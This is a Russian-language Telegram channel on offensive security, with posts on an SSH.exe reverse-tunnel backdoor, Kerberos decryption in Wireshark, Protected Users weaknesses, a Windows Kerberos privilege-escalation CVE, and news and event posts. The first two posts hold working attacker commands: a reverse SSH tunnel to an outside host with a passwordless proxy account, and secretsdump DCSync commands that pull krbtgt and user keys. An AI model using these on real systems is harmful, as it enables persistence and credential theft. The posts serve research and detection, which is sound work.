Че там по сесурити? – Telegram
Че там по сесурити?
61 subscribers
3 photos
9 links
Канал об Offensive Security 👾

Пишу про интересные ресерчи и кейсы, найденные в работе
Download Telegram
щас будет дроп 🌚
🌚2🗿2
Derek Banks из BHIS выпустил недавно статью Ssh… Don’t Tell Them I Am Not HTTPS: How Attackers Use SSH.exe as a Backdoor Into Your Network в которой рассказывает про очередную технику LOLBins (легитимные компоненты ОС, которые можно использовать для достижения своих целей), которую он встретил на проекте по расследованию инцидента:

ssh.exe proxyuser@192.168.1.45 -f -N -R 50000 -p 443 -o StrictHostKeyChecking=no 

Тем, кто пробрасывает переодически порты через SSH, флаг -R 1234 должен быть знаком. Для новичков напишу: флаг позволяет привязать локальный порт на удаленную машину. Остальные опции не так интересны на данный момент.

Итак: злоумышленник запустил ssh-туннель на Windows и пробросил 50000 порт к себе на машину. Техника интересна тем, что использовалась для закрепления на машине и можно заметить, что в аргументах к команде ssh.exe нет флагов с указанием ключей и/или паролей. Туннель просто устанавливается.
1) для запуска подобного туннеля не требуется ключ на зараженной системе (нет артефактов на диске)
2) наличие ssh.exe на Windows машине уже давно не особенность, а данность

Достигается это следующим образом:
1) Создаем юзера proxyuser для проброса
useradd -M -N -d /dev/null -s /bin/false proxyuser

2) Убираем у него пароль
passwd -d proxyuser

3) Добавляем в конец файла /etc/ssh/sshd_config конфигурацию:
Match User proxyuser
AllowTcpForwarding yes
X11Forwarding no
AllowAgentForwarding no
ForceCommand /bin/false
PasswordAuthentication yes
PermitEmptyPasswords yes
4) Перезапускаем sshd
sudo systemctl restart ssh.service
----------------
В целом, пробросом портов через SSH никого не удивишь, его можно встретить во многих читшитах, ну вот технику по созданию не интерактивного туннеля без использования ключей вижу впервые и беру на заметку.

🟠 Для предотвращения автор предлагает отслеживать содержимое файла known_hosts (искать аномалии), использовать firewall с интерспекцией трафика приложений (only HTTPS traffic can use TCP 443; SSH cannot), блокировать 22 порт для тети Глаши из бухгалтерии
🟠Кстати, если подключение по ssh идет по нестандартному порту, в known_hosts запись хоста обрамляется в квадратные скобки и выглядит примерно так (что интересно, с т.з детектов):
[....]
[192.168.1.45]:443 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXN[....]YN0SKs2y/Dk=
🟠 Для детектирования достаточно инспектировать командную строку с подозрительными флагами (Sysmon)
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3👍2🤯2
Давно не виделись 👋

Недавно мне потребовалось расшифровать Kerberos для более глубокого исследования работы протокола.

Чем же хорош Kerberos? Все мы помним, что он защищает своих клиентов, шифруя все и вся. Например:
- Поля в AS-REP шифруются с использованием нескольких ключей: TGT-билет шифруется на ключе учётной записи krbtgt, а сессионный ключ на ключе, который вычисляется из пароля
- в TGS-REP пакете поля шифруются с участием нескольких ключей:
ключ сервиса, ключ krbtgt и сессионного ключа пользователя.

🟦Если вы попробуете послушать сетевой трафик с помощью Wireshark во время обмена Krb-пакетами, то обнаружите внутри пакетов поля enc-part (encrypted part?) или enc-authorization-data, в которых зашиты все интересности.

🟦Оказывается, Wireshark умеет дешифровать эти поля, как это заметил Clement Notin в своем посте Decrypt Kerberos/NTLM “encrypted stub data” in Wireshark на medium. Нужно приготовить keytab файл (файл для хранения Kerberos ключей, чаще используется в Linux) и выставить некоторые настройки:

1️⃣ Получаем ключи пользователя/компьютера/krbtgt/через dcsync, используя impacket:
secretsdump.py "DOMAIN/admin:passwd"@192.168.6.1 -just-dc-user krbtgt
secretsdump.py "DOMAIN/admin:passwd"@192.168.6.1 -just-dc-user user
secretsdump.py "DOMAIN/admin:passwd"@192.168.6.1 -just-dc-user server$

2️⃣ Готовим keytab-файл с помощью скрипта keytab.py , который написал Dirk-jan:
На 112-строке исправляем кортеж keys, добавляя собственные ключи:
keys = [
(18, '66ec115dcac0b861309080689dd92474a7a0def111e7977be4847eee00688a21'),
(18, '9a5f19e1ebe06c8f900669a0c6ebdfee91bf49e9cf99133439aad45c5e4c0a74'),
(18, '3209fa3b453a2a05b4345daa775d57ba704a73e06239544599d4d35df95d5aaa')
]
В моем случае это AES-256-ключи, поэтому keytype будет 18 (для AES-128 и RC4 используется 17 и 23 соответственно)

Генерируем файл keytab с помощью скрипта:
python keytab.py keys.bin

3️⃣Забираем файл keys.bin на машину с Wireshark.
Идем в настройки Preferences > Protocols > KRB5 > там ставим галку "Try to decrypt Kerberos blobs" и указываем путь до файла C:\Users\user\Desktop\keys.bin. Применяем настройки

🟦 Помимо Kerberos, Wireshark будет декодировать пакеты DCE/RPC, LDAP и NTLMSSP blob'ы, что очень удобно для самостоятельного исследования протоколов. Добавляю метод в копилку лайфхаков

#kerberos #tips
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5🔥3
Что такое Protected Users и почему они защищают от pass-the-hash атак (или не защищают?)

Итак, во многих гайдах от Microsoft по смягчению атак присутствуют рекомендации добавлять аккаунты администраторов в группу “Protected Users”. Зачем?

Это специальная группа AD, для участников которой действуют следующие ограничения в домене:
🔹отключена аутентификация по NTLM протоколу (только Kerberos)
🔹отключены алгоритмы DES/RC4 для пре-аутентификации Kerberos
🔹эти уч. записи не могут быть использованы для Kerberos-делегации

Немного теории: в Kerberos, прежде чем взаимодействовать с доменными ресурсами, пользователь должен пройти пре-аутентификацию (подтвердить, что он знает свой пароль). Для этого пользователь шифрует временную метку с помощью одного из доступных и разрешенных алгоритмов (DES, RC4, AES128, AES256) и отправляет полученное значение на контроллер домена. Если все верно, пользователь проходит пред-аутентификацию, получает TGT-билет, далее может обращаться к доменным ресурсам.

1️⃣ Но оказывается, тут не все так однозначно. Aurelien Chalot на sensepost выпустил статью, в которой рассказал, что доменный аккаунт с SID *-500 (обычно это администратор домена) все-таки может пройти пре-аутентификацию по Kerberos, используя NTLM-хэш для подписи, даже если он находится в группе Protected Users ( использует запрещенный в РФ RC4 алгоритм для прохождения пре-аутентификации).

2️⃣ Другая проблема связана с делегацией. Как уже было сказано выше, если пользователь в группе Protected Users, его нельзя использовать для делегации. Почему? Когда к контроллеру домена приходит сервис с S4U2SELF запросом, то DC вернет сервису билет без флага FORWARDABLE, а без этого флага запрос S4U2proxy не будет выполнен и делегация будет неуспешна. Так вот, это также неактуально для нашего администратора, для него билеты будут возвращаться с выставленным флагом 🚩 и делегация будет работать. 🤔

🛠 Как исправить?
🟦 Чтобы исправить пре-аутентификацию Kerberos, необходимо выставить параметр ms-DSSupportedProtocolEncryption у пользователя в значение 24 (0x18). Так Администратор будет использовать наборы алгоритмов AES128/AES256 для шифрования
🟦 Для исправления делегации у пользователя нужно явно выставить флаг "Account is sensitive and cannot be delegated" в профиле

----

Очередная "фича, а не баг" от Microsoft добавляется в копилку к неправильным практикам конфигурации. Спасибо чувакам из Редмонда за очередную головную боль. Да и вообще, оказывается, что доменного администратора нужно отключать 🤔
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4🔥3
Привет!
Сегодня поговорим
про локальное повышение привилегий (LPE) через 🐕 Kerberos

Пару дней назад в Twitter Nick Landers опубликовал тред, в котором поделился подробностями обнаруженной им уязвимости CVE-2023-21817. Речь шла про повышение привилегий через Kerberos аутентификацию в Windows. В чем же там дело?

🔵 Итак, в Windows есть функция WinAPI LsaLogonUser, через нее можно пройти аутентификацию в Windows. Эта функция необходима, чтобы получить служебную информацию для дальнейшей работы (токен, LUID сессии пользователя и пр.) в контексте вошедшего в систему пользователя.

🔵Пройти аутентификацию через функцию можно разными провайдерами (интерактивно через «логин-пароль», с помощью Kerberos «билетов»).

А еще есть способ, использующийся когда пользователь возвращается в свой сеанс после разблокировки: в этот момент ОС должна запросить обновление его TGT-билетов и пр. (может прошло 8 часов и срок действия билетов вышел).

🔵Так вот, если вызвать LsaLogonUser и передать в качестве параметра структуру KERB_TICKET_UNLOCK_LOGON (она как раз описывает сеанс разблокировки), где указать в качестве LUID идентификатор сеанса локальной системы - 0x3E7, то Windows примет это как валидную информацию. И будет думать, что текущий сеанс - это сеанс системы.

Так получается из-за некорректной валидации LUID между сеансами пользователей (чуваки разреверсили и обнаружили, что там проверяется только имя и домен).

🔷Злоумышленнику для эксплуатации остается подменить свой LUID на LUID системы (0x3E7), а в качестве username передать имя компьютера. Бинго! он попадает как бы в Kerberos пространство ОС. Но что это все дает?

🔵 С этого момента, сессионный ключ шифрования, на котором будет шифроваться Kerberos сменится на пользовательский (извлекаемый из пароля пользователя, вместо машинного), Windows автоматически поменяет их в новой сессии 🤔. Теперь пользователь может выписать себе silver-ticket на машину. Нам остается только перехватить пакет AS-REP и в нем подменить имя пользователя на имя машины.

Автор предупреждает, что эксплуатация сломает весь Kerberos на машине до перезагрузки 🙀

----

POC||GTFO
PoC опубликован на gist. Однако, потребуется его доделать для пост-эксплуатации. Автор намеренно случайно допустил в коде ряд ошибок, переписывать я, конечно, не буду 🗿.

Просто поверим автору на слово и пожелаем ему найти еще баги, интересные для нас
Please open Telegram to view this post
VIEW IN TELEGRAM
👍73
Forwarded from Alexey
Hello everyone! Glad to be back 😊

thank you for your support, I really appreciate it 🙏
*️⃣Привет, сегодня очередной день без редтимов. Поговорим про крипту🤯.

На днях вышла хорошая новость:
> Голландский суд освободил под домашний арест одного из сооснователей Tornado Cash - Алексея Перцева. И хоть это еще не победа здравого смысла, но новость лично меня радует.

Для тех, кто не в курсе про арест Алексея, ниже рассказываю, что случилось:
В блокчейне Ethereum существует смарт-контракт Tornado Cash, позволяющий делать ваши транзакции более анонимными (что-то типа миксера на языке криптанов). Достигается это путем смешивания ваших средств на кошельке смарт-контракта со средствами других криптанов

Когда вы делаете депозит (пополняете кошелек смарт-контракта), вместе с транзакцией вы прикладываете еще и секрет. Затем, когда хотите вывести свой депозит на чистый кошелек, вы прикладываете криптографическое доказательство (основанное на т.н. zk-SNARK), которое гарантирует, что вы обладаете тем самым секретом. Теперь вы можете вывести желаемый депозит на новый кошелек.
(*️⃣ Интересно, что само значение секрета вы не передаете, а только подтверждаете с помощью криптографии, что вы им обладаете. Это направление в криптографии называется Zero Knowledge Proof, но это уже другая история.)

Итак, у нас есть проект Tornado Cash 🌪, где вы можете залить свой эфир и анонимно вывести на другой кошелек. Поздравляю, вы анонимны (нет) 🆗

🔜 В апреле 2022 года был взломан блокчейн-мост Ronin Bridge, со счетов которого было вынесено матьего 625 лямов вечнозеленых $ (самый крупный угон). По утверждению OFAC, взлом связан с северокорейской APT-группировкой Lazarus, а позднее, в августе 2022 OFAC обвинил Tornado Cash в том, что они систематично помогали группировкам отмывать награбленное на сумму более 7 лярдов❗️ (из которых 455 млн. вывели Lazarus). С того момента, Tornado Cash находится под санкциями.

🔜 Подождите-подождите, как это под санкциями, там же что-то про крипту и анонимность?
40 кошельков, используемых смарт-контрактом Tornado Cash, попали в санкционные списки OFAC (те самые SDN санкции): на кошельках были заморожены USDC (с запретом на вывод на уровне кода), провайдеры Infura и Alchemy ограничили доступ (API для блокчейна, через которые кошельки получают доступ к блокчейну), заморозили Github репозитории проекта. В общем, из-за санкций, оставшийся эфир с кошельков контракта выводить стало намного сложнее

🔜 Примечательно, что Tornado cash следовали санкциям OFAC, и наряду со всеми в августе 2022 года заблокировали кошельки Lazarus. Но такие блокировки сделаны на уровне фронтенда (конкретного веб-приложения с белыми списками), сам же код смарт-контракта, опубликованный в блокчейне, по умолчанию неизменяемый (если иное не предусмотрел разработчик) и с ним можно взаимодействовать на уровне блокчейна.

😕 Затем в Нидерландах был задержан Алексей Перцев, где провел 9 месяцев без конкретных обвинений в сизо и 20 апреля 2023 был наконец-то выпущен под домашний арест (ранее ему дважды отказывали).
----

Пожелаем Алексею добиться справедливости и снятия ложных обвинений. ✊🏼

До следующих постов, stay tuned 🤑
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4🔥1
👋 Привет, патчипчики!

Период «давайте после майских» подошел к концу, пора выползать из анабиоза

🥴 На этой неделе планирую участвовать в Standoff на форуме PHDAYS 2023 с 17 - 20 мая. Все мои мысли и свободное время заняты подготовкой к киберучениям.

В этот раз буду играть на стороне атакующих. В прошлый раз (аж в 2018 году) участвовал на стороне защитников (в составе SoC).

Встретимся на стэндоффе 🤔
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3🎉2😁1🤯1
😐 Есть планы на следующие выходные? «Их есть у меня»

Уже в следующую субботу 12.08.2023 в 12:00 стартует 🔵CTFZone 2023 Quals🔵 Поэтому можете неиронично зарегистрироваться прямой сейчас по ссылке:

🔷 https://ctf.bi.zone/register

🔥 CTFZone - это соревнования по кибербезопасности, в котором участники выполняют задания, за успешное выполнение которых получают «флаги». Чем больше команда выполняет заданий, тем больше получает очков.

В этом году CTFZone проходит в виде двух этапов:
1️⃣ первый - отборочный, команды принимают участие в формате Jeopardy,
2️⃣ второй - топ 10 команд, прошедших первый этап, сражаются оффлайн в формате Attack-Defense🛡

💵 Призовой фонд составляет 18.000$. Есть за что побороться, приходите с командой и выигрывайте. (а я пока поработаю)
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥43👍2
😶Салют всем подписчикам!

Спасибо, что читаете. Хочу поздравить Вас с наступающим Новым годом, желаю всем расти над собой, побед, становиться лучшей версией себя

Да прибудет с вами сила пентеста в новом 2024 году! 🔤
Please open Telegram to view this post
VIEW IN TELEGRAM
🎉32🔥1
Закрываю внутренние долги

На днях сдавал экзамен на получение сертификации OSEP и он сдался 😱
🔤 https://www.credential.net/ded1d6e0-7450-46bd-9123-c6b27e22df2a

Давайте следующий...
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🔥7🎉3
Привет, давно не было новостей🤔

Продолжаю делать проекты на работе, заметки пока пишу в стол.

Поэтому делюсь с вами просто лайфстайлом
Сегодня выступаю перед бакалаврами в ВШЭ на тему безопасности Linux: расскажу студентам базовую базу и о том, с чем сталкивается на работе пентестер, когда видит эти ваши линуксы

Если ты студент и был на этой лекции, оставь реакцию:
🔥если все было круто
🗿если ничего не понял

А в комментариях можешь поделиться впечатлениями (ваше мнение очень важно для нас)


Презентация будет доступна чуть позже в канале
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11🗿31👍1🤔1🤯1